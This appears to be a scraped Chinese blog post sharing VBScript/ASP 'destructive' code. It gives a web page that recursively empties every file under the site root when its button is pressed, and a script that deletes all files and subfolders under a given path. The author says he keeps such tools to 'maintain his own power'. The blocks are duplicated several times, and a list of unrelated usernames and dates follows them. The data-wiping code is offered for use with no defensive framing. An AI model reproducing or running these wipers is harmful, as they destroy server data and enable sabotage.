VBS破坏性应用代码
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'递归
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍历
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'递归
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍历
相关推荐
cbqstars 2020-08-16
未来战士 2019-12-08
架构技术交流 2019-12-17
laohyx 2019-10-23
airfling 2019-11-25
luohui 2009-07-23
大尉 2009-01-05
weiloser 2008-08-16
wesai 2019-09-05
SometimesYmc 2008-06-20
xsjezp 2008-06-20
HTMLzuo 2019-09-05
86560895 2007-03-27
diediexiaomi 2007-03-25
潇汀 2007-03-07
以梦为马不负韶华 2007-03-07